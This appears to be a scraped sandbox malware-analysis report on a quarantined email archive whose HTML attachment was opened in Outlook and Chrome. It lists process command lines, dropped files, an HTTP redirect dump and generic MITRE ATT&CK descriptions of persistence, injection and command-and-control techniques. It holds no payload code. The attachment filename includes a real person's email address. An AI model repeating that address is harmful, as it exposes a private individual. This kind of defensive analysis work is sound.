2024-12-03 08:06:24 UTC	186	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 6d 69 63 72 6f 73 6f 66 74 2d 33 36 35 2f 6f 6e 65 64 72 69 76 65 2f 6f 6e 6c 69 6e 65 2d 63 6c 6f 75 64 2d 73 74 6f 72 61 67 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.microsoft.com/microsoft-365/onedrive/online-cloud-storage">here</a>.</h2></body></html>

Target ID:	0
Start time:	03:04:54
Start date:	03/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff6a0a80000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:05:00
Start date:	03/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_Quarantined Messages-9.zip\fb7c7073-ccea-4c68-9c85-08dd13607254\9de9ed28-1029-1749-d04e-5d4f9a0c641f.eml"
Imagebase:	0x680000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:05:04
Start date:	03/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "58E5FD18-D936-490C-AF87-5FBC9EC93ED3" "0CB40954-C5C9-406A-8BB6-935B9DD61AF0" "6692" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff6d1810000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:05:09
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html
Imagebase:	0x7ff6684c0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:05:10
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1972,i,1189373971307296502,8235848661946464853,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:05:51
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	03:05:51
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1940,i,384767199231337953,9581062395184261919,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Quarantined Messages-9.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM (002).html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM (002).html:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html:Zone.Identifier

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1733213101159482300_2A309E58-C4F0-4AB1-84B1-1C43C82350C8.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1733213101160275900_2A309E58-C4F0-4AB1-84B1-1C43C82350C8.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl

C:\Users\user\AppData\Local\Temp\olkCACD.tmp

C:\Users\user\AppData\Local\Temp\olkCACE.tmp

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

Windows Analysis Report
Quarantined Messages-9.zip